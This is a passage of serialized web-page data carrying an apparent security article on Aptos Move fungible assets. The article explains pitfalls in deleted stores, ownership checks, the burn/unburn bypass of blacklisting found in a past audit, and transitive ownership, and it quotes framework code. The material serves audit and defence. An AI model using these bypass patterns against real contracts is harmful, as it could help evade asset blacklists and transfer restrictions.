[...]\n}\n",[63870],{"type":21,"tag":66,"props":63871,"children":63872},{"__ignoreMap":7},[63873,63928,63980,63995],{"type":21,"tag":85,"props":63874,"children":63875},{"class":87,"line":88},[63876,63880,63884,63888,63892,63896,63900,63904,63908,63912,63916,63920,63924],{"type":21,"tag":85,"props":63877,"children":63878},{"style":120},[63879],{"type":26,"value":62133},{"type":21,"tag":85,"props":63881,"children":63882},{"style":120},[63883],{"type":26,"value":532},{"type":21,"tag":85,"props":63885,"children":63886},{"style":1021},[63887],{"type":26,"value":63729},{"type":21,"tag":85,"props":63889,"children":63890},{"style":114},[63891],{"type":26,"value":1439},{"type":21,"tag":85,"props":63893,"children":63894},{"style":120},[63895],{"type":26,"value":63738},{"type":21,"tag":85,"props":63897,"children":63898},{"style":169},[63899],{"type":26,"value":172},{"type":21,"tag":85,"props":63901,"children":63902},{"style":169},[63903],{"type":26,"value":1487},{"type":21,"tag":85,"props":63905,"children":63906},{"style":108},[63907],{"type":26,"value":63751},{"type":21,"tag":85,"props":63909,"children":63910},{"style":114},[63911],{"type":26,"value":736},{"type":21,"tag":85,"props":63913,"children":63914},{"style":120},[63915],{"type":26,"value":669},{"type":21,"tag":85,"props":63917,"children":63918},{"style":114},[63919],{"type":26,"value":23461},{"type":21,"tag":85,"props":63921,"children":63922},{"style":169},[63923],{"type":26,"value":10004},{"type":21,"tag":85,"props":63925,"children":63926},{"style":114},[63927],{"type":26,"value":62224},{"type":21,"tag":85,"props":63929,"children":63930},{"class":87,"line":98},[63931,63935,63939,63943,63947,63951,63955,63960,63964,63968,63972,63976],{"type":21,"tag":85,"props":63932,"children":63933},{"style":102},[63934],{"type":26,"value":3778},{"type":21,"tag":85,"props":63936,"children":63937},{"style":120},[63938],{"type":26,"value":143},{"type":21,"tag":85,"props":63940,"children":63941},{"style":169},[63942],{"type":26,"value":1941},{"type":21,"tag":85,"props":63944,"children":63945},{"style":169},[63946],{"type":26,"value":1487},{"type":21,"tag":85,"props":63948,"children":63949},{"style":114},[63950],{"type":26,"value":63368},{"type":21,"tag":85,"props":63952,"children":63953},{"style":169},[63954],{"type":26,"value":1087},{"type":21,"tag":85,"props":63956,"children":63957},{"style":120},[63958],{"type":26,"value":63959},"object_from_delete_ref",{"type":21,"tag":85,"props":63961,"children":63962},{"style":114},[63963],{"type":26,"value":117},{"type":21,"tag":85,"props":63965,"children":63966},{"style":108},[63967],{"type":26,"value":62534},{"type":21,"tag":85,"props":63969,"children":63970},{"style":114},[63971],{"type":26,"value":1960},{"type":21,"tag":85,"props":63973,"children":63974},{"style":120},[63975],{"type":26,"value":63738},{"type":21,"tag":85,"props":63977,"children":63978},{"style":114},[63979],{"type":26,"value":777},{"type":21,"tag":85,"props":63981,"children":63982},{"class":87,"line":151},[63983,63987,63991],{"type":21,"tag":85,"props":63984,"children":63985},{"style":114},[63986],{"type":26,"value":63176},{"type":21,"tag":85,"props":63988,"children":63989},{"style":169},[63990],{"type":26,"value":10004},{"type":21,"tag":85,"props":63992,"children":63993},{"style":114},[63994],{"type":26,"value":12189},{"type":21,"tag":85,"props":63996,"children":63997},{"class":87,"line":160},[63998],{"type":21,"tag":85,"props":63999,"children":64000},{"style":114},[64001],{"type":26,"value":2671},{"type":21,"tag":22,"props":64003,"children":64004},{},[64005,64007,64012,64014,64020,64022,64027],{"type":26,"value":64006},"In addition, such \"deleted\" ",{"type":21,"tag":66,"props":64008,"children":64010},{"className":64009},[],[64011],{"type":26,"value":62534},{"type":26,"value":64013}," objects remain at least partially operable. For instance, ",{"type":21,"tag":66,"props":64015,"children":64017},{"className":64016},[],[64018],{"type":26,"value":64019},"fungible_asset::deposit",{"type":26,"value":64021}," does not check the ",{"type":21,"tag":66,"props":64023,"children":64025},{"className":64024},[],[64026],{"type":26,"value":49306},{"type":26,"value":64028}," existence.",{"type":21,"tag":10022,"props":64030,"children":64032},{"id":64031},"ownership",[64033],{"type":26,"value":64034},"Ownership",{"type":21,"tag":22,"props":64036,"children":64037},{},[64038,64040,64045,64047,64053,64055,64060],{"type":26,"value":64039},"Each object has an owner. Fungible assets rely on the ",{"type":21,"tag":66,"props":64041,"children":64043},{"className":64042},[],[64044],{"type":26,"value":49306},{"type":26,"value":64046}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":21,"tag":66,"props":64048,"children":64050},{"className":64049},[],[64051],{"type":26,"value":64052},"object::owns",{"type":26,"value":64054}," to confirm ownership of the ",{"type":21,"tag":66,"props":64056,"children":64058},{"className":64057},[],[64059],{"type":26,"value":62534},{"type":26,"value":50632},{"type":21,"tag":75,"props":64062,"children":64064},{"className":77,"code":64063,"language":79,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[64065],{"type":21,"tag":66,"props":64066,"children":64067},{"__ignoreMap":7},[64068,64116,64140,64167,64187,64215,64283,64298],{"type":21,"tag":85,"props":64069,"children":64070},{"class":87,"line":88},[64071,64075,64079,64083,64087,64091,64096,64100,64104,64108,64112],{"type":21,"tag":85,"props":64072,"children":64073},{"style":1021},[64074],{"type":26,"value":62133},{"type":21,"tag":85,"props":64076,"children":64077},{"style":114},[64078],{"type":26,"value":1439},{"type":21,"tag":85,"props":64080,"children":64081},{"style":120},[64082],{"type":26,"value":1444},{"type":21,"tag":85,"props":64084,"children":64085},{"style":114},[64086],{"type":26,"value":736},{"type":21,"tag":85,"props":64088,"children":64089},{"style":120},[64090],{"type":26,"value":1453},{"type":21,"tag":85,"props":64092,"children":64093},{"style":120},[64094],{"type":26,"value":64095}," withdraw_sanity_check",{"type":21,"tag":85,"props":64097,"children":64098},{"style":114},[64099],{"type":26,"value":117},{"type":21,"tag":85,"props":64101,"children":64102},{"style":108},[64103],{"type":26,"value":308},{"type":21,"tag":85,"props":64105,"children":64106},{"style":169},[64107],{"type":26,"value":172},{"type":21,"tag":85,"props":64109,"children":64110},{"style":120},[64111],{"type":26,"value":251},{"type":21,"tag":85,"props":64113,"children":64114},{"style":114},[64115],{"type":26,"value":924},{"type":21,"tag":85,"props":64117,"children":64118},{"class":87,"line":98},[64119,64124,64128,64132,64136],{"type":21,"tag":85,"props":64120,"children":64121},{"style":120},[64122],{"type":26,"value":64123},"    owner",{"type":21,"tag":85,"props":64125,"children":64126},{"style":169},[64127],{"type":26,"value":172},{"type":21,"tag":85,"props":64129,"children":64130},{"style":169},[64131],{"type":26,"value":1487},{"type":21,"tag":85,"props":64133,"children":64134},{"style":120},[64135],{"type":26,"value":1492},{"type":21,"tag":85,"props":64137,"children":64138},{"style":114},[64139],{"type":26,"value":182},{"type":21,"tag":85,"props":64141,"children":64142},{"class":87,"line":151},[64143,64147,64151,64155,64159,64163],{"type":21,"tag":85,"props":64144,"children":64145},{"style":120},[64146],{"type":26,"value":29857},{"type":21,"tag":85,"props":64148,"children":64149},{"style":169},[64150],{"type":26,"value":172},{"type":21,"tag":85,"props":64152,"children":64153},{"style":108},[64154],{"type":26,"value":62019},{"type":21,"tag":85,"props":64156,"children":64157},{"style":114},[64158],{"type":26,"value":117},{"type":21,"tag":85,"props":64160,"children":64161},{"style":108},[64162],{"type":26,"value":308},{"type":21,"tag":85,"props":64164,"children":64165},{"style":114},[64166],{"type":26,"value":461},{"type":21,"tag":85,"props":64168,"children":64169},{"class":87,"line":160},[64170,64175,64179,64183],{"type":21,"tag":85,"props":64171,"children":64172},{"style":120},[64173],{"type":26,"value":64174},"    abort_on_dispatch",{"type":21,"tag":85,"props":64176,"children":64177},{"style":169},[64178],{"type":26,"value":172},{"type":21,"tag":85,"props":64180,"children":64181},{"style":108},[64182],{"type":26,"value":12467},{"type":21,"tag":85,"props":64184,"children":64185},{"style":114},[64186],{"type":26,"value":182},{"type":21,"tag":85,"props":64188,"children":64189},{"class":87,"line":185},[64190,64194,64198,64202,64206,64211],{"type":21,"tag":85,"props":64191,"children":64192},{"style":114},[64193],{"type":26,"value":736},{"type":21,"tag":85,"props":64195,"children":64196},{"style":120},[64197],{"type":26,"value":669},{"type":21,"tag":85,"props":64199,"children":64200},{"style":108},[64201],{"type":26,"value":62554},{"type":21,"tag":85,"props":64203,"children":64204},{"style":114},[64205],{"type":26,"value":256},{"type":21,"tag":85,"props":64207,"children":64208},{"style":108},[64209],{"type":26,"value":64210},"DispatchFunctionStore",{"type":21,"tag":85,"props":64212,"children":64213},{"style":114},[64214],{"type":26,"value":148},{"type":21,"tag":85,"props":64216,"children":64217},{"class":87,"line":501},[64218,64222,64227,64231,64236,64240,64244,64248,64252,64256,64260,64264,64269,64273,64278],{"type":21,"tag":85,"props":64219,"children":64220},{"style":1021},[64221],{"type":26,"value":62802},{"type":21,"tag":85,"props":64223,"children":64224},{"style":114},[64225],{"type":26,"value":64226},"(object",{"type":21,"tag":85,"props":64228,"children":64229},{"style":169},[64230],{"type":26,"value":1087},{"type":21,"tag":85,"props":64232,"children":64233},{"style":1021},[64234],{"type":26,"value":64235},"owns",{"type":21,"tag":85,"props":64237,"children":64238},{"style":114},[64239],{"type":26,"value":1439},{"type":21,"tag":85,"props":64241,"children":64242},{"style":120},[64243],{"type":26,"value":261},{"type":21,"tag":85,"props":64245,"children":64246},{"style":114},[64247],{"type":26,"value":13353},{"type":21,"tag":85,"props":64249,"children":64250},{"style":169},[64251],{"type":26,"value":1087},{"type":21,"tag":85,"props":64253,"children":64254},{"style":1021},[64255],{"type":26,"value":1555},{"type":21,"tag":85,"props":64257,"children":64258},{"style":114},[64259],{"type":26,"value":1439},{"type":21,"tag":85,"props":64261,"children":64262},{"style":120},[64263],{"type":26,"value":16029},{"type":21,"tag":85,"props":64265,"children":64266},{"style":114},[64267],{"type":26,"value":64268},")), error",{"type":21,"tag":85,"props":64270,"children":64271},{"style":169},[64272],{"type":26,"value":1087},{"type":21,"tag":85,"props":64274,"children":64275},{"style":1021},[64276],{"type":26,"value":64277},"permission_denied",{"type":21,"tag":85,"props":64279,"children":64280},{"style":114},[64281],{"type":26,"value":64282},"(ENOT_STORE_OWNER));\n",{"type":21,"tag":85,"props":64284,"children":64285},{"class":87,"line":697},[64286,64290,64294],{"type":21,"tag":85,"props":64287,"children":64288},{"style":114},[64289],{"type":26,"value":63176},{"type":21,"tag":85,"props":64291,"children":64292},{"style":169},[64293],{"type":26,"value":10004},{"type":21,"tag":85,"props":64295,"children":64296},{"style":114},[64297],{"type":26,"value":12189},{"type":21,"tag":85,"props":64299,"children":64300},{"class":87,"line":706},[64301],{"type":21,"tag":85,"props":64302,"children":64303},{"style":114},[64304],{"type":26,"value":2671},{"type":21,"tag":22,"props":64306,"children":64307},{},[64308,64310,64315,64317,64323,64325,64331],{"type":26,"value":64309},"The thing to note is that defining ownership with ",{"type":21,"tag":66,"props":64311,"children":64313},{"className":64312},[],[64314],{"type":26,"value":64052},{"type":26,"value":64316}," can be tricky. The ",{"type":21,"tag":66,"props":64318,"children":64320},{"className":64319},[],[64321],{"type":26,"value":64322},"burn",{"type":26,"value":64324}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":21,"tag":66,"props":64326,"children":64328},{"className":64327},[],[64329],{"type":26,"value":64330},"BURN_ADDRESS",{"type":26,"value":64332}," while bypassing transfer restrictions:",{"type":21,"tag":75,"props":64334,"children":64336},{"className":77,"code":64335,"language":79,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[64337],{"type":21,"tag":66,"props":64338,"children":64339},{"__ignoreMap":7},[64340,64437,64478,64528,64557,64607,64628],{"type":21,"tag":85,"props":64341,"children":64342},{"class":87,"line":88},[64343,64347,64351,64355,64360,64364,64368,64372,64376,64380,64384,64388,64392,64396,64400,64404,64408,64412,64416,64420,64424,64428,64433],{"type":21,"tag":85,"props":64344,"children":64345},{"style":120},[64346],{"type":26,"value":62133},{"type":21,"tag":85,"props":64348,"children":64349},{"style":120},[64350],{"type":26,"value":63100},{"type":21,"tag":85,"props":64352,"children":64353},{"style":120},[64354],{"type":26,"value":532},{"type":21,"tag":85,"props":64356,"children":64357},{"style":120},[64358],{"type":26,"value":64359}," burn",{"type":21,"tag":85,"props":64361,"children":64362},{"style":114},[64363],{"type":26,"value":117},{"type":21,"tag":85,"props":64365,"children":64366},{"style":108},[64367],{"type":26,"value":308},{"type":21,"tag":85,"props":64369,"children":64370},{"style":169},[64371],{"type":26,"value":172},{"type":21,"tag":85,"props":64373,"children":64374},{"style":120},[64375],{"type":26,"value":251},{"type":21,"tag":85,"props":64377,"children":64378},{"style":114},[64379],{"type":26,"value":1960},{"type":21,"tag":85,"props":64381,"children":64382},{"style":120},[64383],{"type":26,"value":16029},{"type":21,"tag":85,"props":64385,"children":64386},{"style":169},[64387],{"type":26,"value":172},{"type":21,"tag":85,"props":64389,"children":64390},{"style":169},[64391],{"type":26,"value":1487},{"type":21,"tag":85,"props":64393,"children":64394},{"style":120},[64395],{"type":26,"value":1492},{"type":21,"tag":85,"props":64397,"children":64398},{"style":114},[64399],{"type":26,"value":256},{"type":21,"tag":85,"props":64401,"children":64402},{"style":120},[64403],{"type":26,"value":63368},{"type":21,"tag":85,"props":64405,"children":64406},{"style":169},[64407],{"type":26,"value":172},{"type":21,"tag":85,"props":64409,"children":64410},{"style":108},[64411],{"type":26,"value":62019},{"type":21,"tag":85,"props":64413,"children":64414},{"style":114},[64415],{"type":26,"value":117},{"type":21,"tag":85,"props":64417,"children":64418},{"style":108},[64419],{"type":26,"value":308},{"type":21,"tag":85,"props":64421,"children":64422},{"style":114},[64423],{"type":26,"value":20874},{"type":21,"tag":85,"props":64425,"children":64426},{"style":120},[64427],{"type":26,"value":669},{"type":21,"tag":85,"props":64429,"children":64430},{"style":108},[64431],{"type":26,"value":64432}," ObjectCore",{"type":21,"tag":85,"props":64434,"children":64435},{"style":114},[64436],{"type":26,"value":148},{"type":21,"tag":85,"props":64438,"children":64439},{"class":87,"line":98},[64440,64444,64449,64453,64458,64462,64466,64470,64474],{"type":21,"tag":85,"props":64441,"children":64442},{"style":102},[64443],{"type":26,"value":3778},{"type":21,"tag":85,"props":64445,"children":64446},{"style":120},[64447],{"type":26,"value":64448}," original_owner",{"type":21,"tag":85,"props":64450,"children":64451},{"style":169},[64452],{"type":26,"value":1941},{"type":21,"tag":85,"props":64454,"children":64455},{"style":114},[64456],{"type":26,"value":64457}," signer",{"type":21,"tag":85,"props":64459,"children":64460},{"style":169},[64461],{"type":26,"value":1087},{"type":21,"tag":85,"props":64463,"children":64464},{"style":1021},[64465],{"type":26,"value":1555},{"type":21,"tag":85,"props":64467,"children":64468},{"style":114},[64469],{"type":26,"value":1439},{"type":21,"tag":85,"props":64471,"children":64472},{"style":120},[64473],{"type":26,"value":16029},{"type":21,"tag":85,"props":64475,"children":64476},{"style":114},[64477],{"type":26,"value":777},{"type":21,"tag":85,"props":64479,"children":64480},{"class":87,"line":151},[64481,64485,64489,64494,64498,64502,64506,64511,64515,64519,64523],{"type":21,"tag":85,"props":64482,"children":64483},{"style":1021},[64484],{"type":26,"value":62802},{"type":21,"tag":85,"props":64486,"children":64487},{"style":114},[64488],{"type":26,"value":1439},{"type":21,"tag":85,"props":64490,"children":64491},{"style":1021},[64492],{"type":26,"value":64493},"is_owner",{"type":21,"tag":85,"props":64495,"children":64496},{"style":114},[64497],{"type":26,"value":1439},{"type":21,"tag":85,"props":64499,"children":64500},{"style":120},[64501],{"type":26,"value":63368},{"type":21,"tag":85,"props":64503,"children":64504},{"style":114},[64505],{"type":26,"value":256},{"type":21,"tag":85,"props":64507,"children":64508},{"style":120},[64509],{"type":26,"value":64510},"original_owner",{"type":21,"tag":85,"props":64512,"children":64513},{"style":114},[64514],{"type":26,"value":63391},{"type":21,"tag":85,"props":64516,"children":64517},{"style":169},[64518],{"type":26,"value":1087},{"type":21,"tag":85,"props":64520,"children":64521},{"style":1021},[64522],{"type":26,"value":64277},{"type":21,"tag":85,"props":64524,"children":64525},{"style":114},[64526],{"type":26,"value":64527},"(ENOT_OBJECT_OWNER));\n",{"type":21,"tag":85,"props":64529,"children":64530},{"class":87,"line":160},[64531,64535,64540,64544,64548,64552],{"type":21,"tag":85,"props":64532,"children":64533},{"style":102},[64534],{"type":26,"value":3778},{"type":21,"tag":85,"props":64536,"children":64537},{"style":120},[64538],{"type":26,"value":64539}," object_addr",{"type":21,"tag":85,"props":64541,"children":64542},{"style":169},[64543],{"type":26,"value":1941},{"type":21,"tag":85,"props":64545,"children":64546},{"style":120},[64547],{"type":26,"value":62952},{"type":21,"tag":85,"props":64549,"children":64550},{"style":169},[64551],{"type":26,"value":73},{"type":21,"tag":85,"props":64553,"children":64554},{"style":114},[64555],{"type":26,"value":64556},"inner;\n",{"type":21,"tag":85,"props":64558,"children":64559},{"class":87,"line":185},[64560,64564,64568,64572,64577,64581,64586,64590,64595,64599,64603],{"type":21,"tag":85,"props":64561,"children":64562},{"style":1021},[64563],{"type":26,"value":63555},{"type":21,"tag":85,"props":64565,"children":64566},{"style":114},[64567],{"type":26,"value":1439},{"type":21,"tag":85,"props":64569,"children":64570},{"style":169},[64571],{"type":26,"value":2238},{"type":21,"tag":85,"props":64573,"children":64574},{"style":1021},[64575],{"type":26,"value":64576},"create_signer",{"type":21,"tag":85,"props":64578,"children":64579},{"style":114},[64580],{"type":26,"value":1439},{"type":21,"tag":85,"props":64582,"children":64583},{"style":120},[64584],{"type":26,"value":64585},"object_addr",{"type":21,"tag":85,"props":64587,"children":64588},{"style":114},[64589],{"type":26,"value":15596},{"type":21,"tag":85,"props":64591,"children":64592},{"style":108},[64593],{"type":26,"value":64594},"TombStone",{"type":21,"tag":85,"props":64596,"children":64597},{"style":114},[64598],{"type":26,"value":9999},{"type":21,"tag":85,"props":64600,"children":64601},{"style":120},[64602],{"type":26,"value":64510},{"type":21,"tag":85,"props":64604,"children":64605},{"style":114},[64606],{"type":26,"value":39283},{"type":21,"tag":85,"props":64608,"children":64609},{"class":87,"line":501},[64610,64615,64619,64623],{"type":21,"tag":85,"props":64611,"children":64612},{"style":1021},[64613],{"type":26,"value":64614},"    transfer_raw_inner",{"type":21,"tag":85,"props":64616,"children":64617},{"style":114},[64618],{"type":26,"value":1439},{"type":21,"tag":85,"props":64620,"children":64621},{"style":120},[64622],{"type":26,"value":64585},{"type":21,"tag":85,"props":64624,"children":64625},{"style":114},[64626],{"type":26,"value":64627},", BURN_ADDRESS);\n",{"type":21,"tag":85,"props":64629,"children":64630},{"class":87,"line":697},[64631],{"type":21,"tag":85,"props":64632,"children":64633},{"style":114},[64634],{"type":26,"value":2671},{"type":21,"tag":22,"props":64636,"children":64637},{},[64638,64644,64646,64651,64652,64659,64661,64666],{"type":21,"tag":66,"props":64639,"children":64641},{"className":64640},[],[64642],{"type":26,"value":64643},"unburn",{"type":26,"value":64645}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":21,"tag":66,"props":64647,"children":64649},{"className":64648},[],[64650],{"type":26,"value":64330},{"type":26,"value":18956},{"type":21,"tag":335,"props":64653,"children":64656},{"href":64654,"rel":64655},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[339],[64657],{"type":26,"value":64658},"AIP-99",{"type":26,"value":64660}," is a proposal to roll back the ",{"type":21,"tag":66,"props":64662,"children":64664},{"className":64663},[],[64665],{"type":26,"value":64322},{"type":26,"value":64667}," feature, but previously burned objects will remain restorable.",{"type":21,"tag":3712,"props":64669,"children":64670},{},[64671],{"type":21,"tag":22,"props":64672,"children":64673},{},[64674,64676,64680],{"type":26,"value":64675},"This ",{"type":21,"tag":85,"props":64677,"children":64678},{},[64679],{"type":26,"value":64658},{"type":26,"value":64681}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":21,"tag":22,"props":64683,"children":64684},{},[64685,64687,64693,64695,64700,64702,64707],{"type":26,"value":64686},"Another important thing is that ",{"type":21,"tag":66,"props":64688,"children":64690},{"className":64689},[],[64691],{"type":26,"value":64692},"fungible_asset::set_untransferable",{"type":26,"value":64694}," can be used to make all new ",{"type":21,"tag":66,"props":64696,"children":64698},{"className":64697},[],[64699],{"type":26,"value":63038},{"type":26,"value":64701}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":21,"tag":66,"props":64703,"children":64705},{"className":64704},[],[64706],{"type":26,"value":62534},{"type":26,"value":73},{"type":21,"tag":22,"props":64709,"children":64710},{},[64711,64713,64718,64720,64726,64728,64733,64735,64740],{"type":26,"value":64712},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":21,"tag":66,"props":64714,"children":64716},{"className":64715},[],[64717],{"type":26,"value":62534},{"type":26,"value":64719},", X can withdraw from that store. This is because ",{"type":21,"tag":66,"props":64721,"children":64723},{"className":64722},[],[64724],{"type":26,"value":64725},"fungible_asset::withdraw",{"type":26,"value":64727}," uses ",{"type":21,"tag":66,"props":64729,"children":64731},{"className":64730},[],[64732],{"type":26,"value":64052},{"type":26,"value":64734}," to verify both direct and indirect ownership of the ",{"type":21,"tag":66,"props":64736,"children":64738},{"className":64737},[],[64739],{"type":26,"value":62534},{"type":26,"value":50632},{"type":21,"tag":75,"props":64742,"children":64744},{"className":77,"code":64743,"language":79,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[64745],{"type":21,"tag":66,"props":64746,"children":64747},{"__ignoreMap":7},[64748,64809,64825,64855,64884,64899,64911,64941,64962,64969,65009,65034,65041],{"type":21,"tag":85,"props":64749,"children":64750},{"class":87,"line":88},[64751,64755,64760,64764,64768,64772,64776,64780,64785,64789,64793,64797,64801,64805],{"type":21,"tag":85,"props":64752,"children":64753},{"style":120},[64754],{"type":26,"value":1453},{"type":21,"tag":85,"props":64756,"children":64757},{"style":1021},[64758],{"type":26,"value":64759}," verify_ungated_and_descendant",{"type":21,"tag":85,"props":64761,"children":64762},{"style":114},[64763],{"type":26,"value":1439},{"type":21,"tag":85,"props":64765,"children":64766},{"style":120},[64767],{"type":26,"value":16029},{"type":21,"tag":85,"props":64769,"children":64770},{"style":169},[64771],{"type":26,"value":172},{"type":21,"tag":85,"props":64773,"children":64774},{"style":120},[64775],{"type":26,"value":575},{"type":21,"tag":85,"props":64777,"children":64778},{"style":114},[64779],{"type":26,"value":256},{"type":21,"tag":85,"props":64781,"children":64782},{"style":120},[64783],{"type":26,"value":64784},"destination",{"type":21,"tag":85,"props":64786,"children":64787},{"style":169},[64788],{"type":26,"value":172},{"type":21,"tag":85,"props":64790,"children":64791},{"style":120},[64792],{"type":26,"value":575},{"type":21,"tag":85,"props":64794,"children":64795},{"style":114},[64796],{"type":26,"value":736},{"type":21,"tag":85,"props":64798,"children":64799},{"style":120},[64800],{"type":26,"value":669},{"type":21,"tag":85,"props":64802,"children":64803},{"style":108},[64804],{"type":26,"value":64432},{"type":21,"tag":85,"props":64806,"children":64807},{"style":114},[64808],{"type":26,"value":148},{"type":21,"tag":85,"props":64810,"children":64811},{"class":87,"line":98},[64812,64817,64821],{"type":21,"tag":85,"props":64813,"children":64814},{"style":114},[64815],{"type":26,"value":64816},"        [",{"type":21,"tag":85,"props":64818,"children":64819},{"style":169},[64820],{"type":26,"value":10004},{"type":21,"tag":85,"props":64822,"children":64823},{"style":114},[64824],{"type":26,"value":12189},{"type":21,"tag":85,"props":64826,"children":64827},{"class":87,"line":151},[64828,64833,64837,64841,64846,64851],{"type":21,"tag":85,"props":64829,"children":64830},{"style":2885},[64831],{"type":26,"value":64832},"    while",{"type":21,"tag":85,"props":64834,"children":64835},{"style":114},[64836],{"type":26,"value":717},{"type":21,"tag":85,"props":64838,"children":64839},{"style":120},[64840],{"type":26,"value":16029},{"type":21,"tag":85,"props":64842,"children":64843},{"style":169},[64844],{"type":26,"value":64845}," !=",{"type":21,"tag":85,"props":64847,"children":64848},{"style":120},[64849],{"type":26,"value":64850}," current_address",{"type":21,"tag":85,"props":64852,"children":64853},{"style":114},[64854],{"type":26,"value":15222},{"type":21,"tag":85,"props":64856,"children":64857},{"class":87,"line":160},[64858,64863,64867,64872,64876,64880],{"type":21,"tag":85,"props":64859,"children":64860},{"style":120},[64861],{"type":26,"value":64862},"        count",{"type":21,"tag":85,"props":64864,"children":64865},{"style":169},[64866],{"type":26,"value":1941},{"type":21,"tag":85,"props":64868,"children":64869},{"style":120},[64870],{"type":26,"value":64871}," count",{"type":21,"tag":85,"props":64873,"children":64874},{"style":169},[64875],{"type":26,"value":3274},{"type":21,"tag":85,"props":64877,"children":64878},{"style":2285},[64879],{"type":26,"value":3279},{"type":21,"tag":85,"props":64881,"children":64882},{"style":114},[64883],{"type":26,"value":2535},{"type":21,"tag":85,"props":64885,"children":64886},{"class":87,"line":185},[64887,64891,64895],{"type":21,"tag":85,"props":64888,"children":64889},{"style":114},[64890],{"type":26,"value":64816},{"type":21,"tag":85,"props":64892,"children":64893},{"style":169},[64894],{"type":26,"value":10004},{"type":21,"tag":85,"props":64896,"children":64897},{"style":114},[64898],{"type":26,"value":12189},{"type":21,"tag":85,"props":64900,"children":64901},{"class":87,"line":501},[64902,64907],{"type":21,"tag":85,"props":64903,"children":64904},{"style":1021},[64905],{"type":26,"value":64906},"        assert!",{"type":21,"tag":85,"props":64908,"children":64909},{"style":114},[64910],{"type":26,"value":1029},{"type":21,"tag":85,"props":64912,"children":64913},{"class":87,"line":697},[64914,64919,64923,64928,64932,64937],{"type":21,"tag":85,"props":64915,"children":64916},{"style":120},[64917],{"type":26,"value":64918},"            exists",{"type":21,"tag":85,"props":64920,"children":64921},{"style":114},[64922],{"type":26,"value":117},{"type":21,"tag":85,"props":64924,"children":64925},{"style":108},[64926],{"type":26,"value":64927},"ObjectCore",{"type":21,"tag":85,"props":64929,"children":64930},{"style":114},[64931],{"type":26,"value":1960},{"type":21,"tag":85,"props":64933,"children":64934},{"style":120},[64935],{"type":26,"value":64936},"current_address",{"type":21,"tag":85,"props":64938,"children":64939},{"style":114},[64940],{"type":26,"value":1074},{"type":21,"tag":85,"props":64942,"children":64943},{"class":87,"line":706},[64944,64949,64953,64957],{"type":21,"tag":85,"props":64945,"children":64946},{"style":114},[64947],{"type":26,"value":64948},"            error",{"type":21,"tag":85,"props":64950,"children":64951},{"style":169},[64952],{"type":26,"value":1087},{"type":21,"tag":85,"props":64954,"children":64955},{"style":1021},[64956],{"type":26,"value":64277},{"type":21,"tag":85,"props":64958,"children":64959},{"style":114},[64960],{"type":26,"value":64961},"(ENOT_OBJECT_OWNER),\n",{"type":21,"tag":85,"props":64963,"children":64964},{"class":87,"line":1100},[64965],{"type":21,"tag":85,"props":64966,"children":64967},{"style":114},[64968],{"type":26,"value":2094},{"type":21,"tag":85,"props":64970,"children":64971},{"class":87,"line":1339},[64972,64976,64980,64984,64989,64993,64997,65001,65005],{"type":21,"tag":85,"props":64973,"children":64974},{"style":102},[64975],{"type":26,"value":1931},{"type":21,"tag":85,"props":64977,"children":64978},{"style":120},[64979],{"type":26,"value":62952},{"type":21,"tag":85,"props":64981,"children":64982},{"style":169},[64983],{"type":26,"value":1941},{"type":21,"tag":85,"props":64985,"children":64986},{"style":120},[64987],{"type":26,"value":64988}," borrow_global",{"type":21,"tag":85,"props":64990,"children":64991},{"style":114},[64992],{"type":26,"value":117},{"type":21,"tag":85,"props":64994,"children":64995},{"style":108},[64996],{"type":26,"value":64927},{"type":21,"tag":85,"props":64998,"children":64999},{"style":114},[65000],{"type":26,"value":1960},{"type":21,"tag":85,"props":65002,"children":65003},{"style":120},[65004],{"type":26,"value":64936},{"type":21,"tag":85,"props":65006,"children":65007},{"style":114},[65008],{"type":26,"value":777},{"type":21,"tag":85,"props":65010,"children":65011},{"class":87,"line":1348},[65012,65017,65021,65025,65029],{"type":21,"tag":85,"props":65013,"children":65014},{"style":120},[65015],{"type":26,"value":65016},"        current_address",{"type":21,"tag":85,"props":65018,"children":65019},{"style":169},[65020],{"type":26,"value":1941},{"type":21,"tag":85,"props":65022,"children":65023},{"style":120},[65024],{"type":26,"value":62952},{"type":21,"tag":85,"props":65026,"children":65027},{"style":169},[65028],{"type":26,"value":73},{"type":21,"tag":85,"props":65030,"children":65031},{"style":114},[65032],{"type":26,"value":65033},"owner;\n",{"type":21,"tag":85,"props":65035,"children":65036},{"class":87,"line":1386},[65037],{"type":21,"tag":85,"props":65038,"children":65039},{"style":114},[65040],{"type":26,"value":39445},{"type":21,"tag":85,"props":65042,"children":65043},{"class":87,"line":1394},[65044],{"type":21,"tag":85,"props":65045,"children":65046},{"style":114},[65047],{"type":26,"value":2671},{"type":21,"tag":22,"props":65049,"children":65050},{},[65051,65053,65058],{"type":26,"value":65052},"This could allow for bypassing assumptions about ",{"type":21,"tag":66,"props":65054,"children":65056},{"className":65055},[],[65057],{"type":26,"value":62534},{"type":26,"value":65059}," true ownership and its 